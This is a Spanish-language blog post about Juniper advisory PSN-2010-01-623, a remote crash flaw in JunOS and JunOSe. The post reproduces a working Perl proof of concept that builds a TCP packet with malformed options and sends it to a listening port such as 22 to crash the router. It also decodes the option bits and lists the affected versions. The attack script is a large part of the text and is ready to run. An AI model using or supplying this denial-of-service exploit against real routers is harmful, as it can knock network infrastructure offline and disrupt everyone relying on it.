systemadmin.es > Redes > Exploit en JunOS PSN-2010-01-623

Exploit en JunOS PSN-2010-01-623

A traves de evilrouters me he enterado de una vulnerabilidad en JunOS muy similar al ping de la muerte de Windows 95/98.

Como no dispongo de un equipo Juniper de prueba no he podido verificar el problema pero aparentemente es necesario enviar el paquete a un puerto al que este escuchando (no circulando a través), por ejemplo el 22.

Comentan el siguiente código en perl para enviar el paquete:

#!/usr/bin/perl

my $host =      shift;
my $port =      shift;

use             Net::Packet qw($Env);

use             Net::Packet::IPv4;
my $ip =        Net::Packet::IPv4->new(dst => $host);

use             Net::Packet::TCP;

my $tcp =       Net::Packet::TCP->new(
                    dst         => $port,
                    options     =>  "\x65\x02\x01\x01", 
                );

use             Net::Packet::Frame;
my $frame =     Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);

$frame->send;

Mediante options de Net::Packet::TCP define las siguientes opciones del paquete TCP:

01100101
00000010
00000001
00000001

Los dos 1s finales son un padding para que sean 32 bits.

Todas las versiones posteriores al 28 de enero del 2009 tienen corregido este fallo, por lo que las vulnerables son:

  • JunOS: 5.0, 5.1, 5.2, 5.3, 5.4, 5.5, 5.6, 5.7, 6.1, 6.2, 6.3, 6.4, 7.3, 8.0, 8.4, 8.5.R1, 8.5R1.14 y 9.0R1.1
  • JunOSe: 5.3.5, 6.0.3, 6.0.4, 6.1.3, 7.0.1, 7.0.2, 7.1 y 7.1.1

Es una lástima de no disponer de un equipo para probar de provocarle el core.

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>